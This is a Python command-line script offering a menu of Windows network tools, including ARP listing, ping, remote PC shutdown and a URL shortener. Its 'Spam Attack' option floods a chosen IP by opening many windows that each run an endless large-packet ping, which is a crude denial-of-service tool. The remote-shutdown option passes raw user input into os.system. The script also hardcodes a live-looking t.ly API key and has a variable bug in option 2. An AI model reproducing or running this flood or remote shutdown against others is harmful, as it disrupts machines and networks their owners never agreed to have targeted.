import os, time import requests from colorama import Fore, init title = """ ____ __ ___ ___ / __ \___ ____ ___ ____ / /____ _____ < /< / / /_/ / _ \/ __ `__ \/ __ \/ __/ _ \/ ___/ / / / / / _ _/ __/ / / / / / /_/ / /_/ __(__ ) / / / / /_/ |_|\___/_/ /_/ /_/\____/\__/\___/____/ /_(_)_/ """ options = """ ---------------------------------------------------- | Type 1 To See Your Network Connections | | Type 2 To Ping And Learn Pc Name In Your Network| | Type 3 To Shutdown That Pc | | Type 4 To Spam Attack A Ip | | Type 5 To Shorten a url | ---------------------------------------------------- """ init() def any(): while True: os.system("cls") print(Fore.GREEN + title) print(Fore.RED + options) print("") i = input(Fore.GREEN + "Option: ") if i == "1": output = os.popen('arp -a').read() print(output + "\n \n This is the connected devices") aaa = input(Fore.RED + Fore.YELLOW + "Enter ip to ping: ") os.system("cls") os.system("ping -a " + aaa) os.system("cls") elif i == "2": aa = input(Fore.RED + Fore.YELLOW + "Enter ip adress: ") os.system("cls") os.system("ping -a " + aaa) os.system("cls") elif i == "3": aaaa = input(Fore.RED + Fore.YELLOW + "Enter pc name to to shutdown: ") os.system("shutdown -m -e \\" + aaaa) os.system("cls") print(Fore.RED + Fore.YELLOW + "That pc should be closed now.") time.sleep(3) os.system("cls") elif i == "4": ddos = input("Type Ip: ") tabs = int(input("How many tabs(1 tab = 0.6 mb): ")) print("Started.") time.sleep(2) os.system("cls") for _ in range(tabs): os.system(f'start cmd /k ping -t -l 65500 {ddos}') elif i == "5": def shorten_url(long_url): api_key = 'Fmzqaj3FauqKUet5oB69eTnmprwgCsn22ZmDWjrwxuBSHyQDFiIFzgq4uij5' # Replace with your t.ly API key url = 'https://api.t.ly/v1/link' headers = {'Content-Type': 'application/json', 'Authorization': api_key} payload = {'long_url': long_url} response = requests.post(url, headers=headers, json=payload) if response.status_code == 200: return response.json()['link'] else: return f"Error: {response.json().get('message', 'Unknown error')}" if __name__ == '__main__': long_url = input("Enter the URL you want to shorten: ") short_url = shorten_url(long_url) print(f"Shortened URL: {short_url}") else: print("Select a option") time.sleep(1) os.system("cls") any()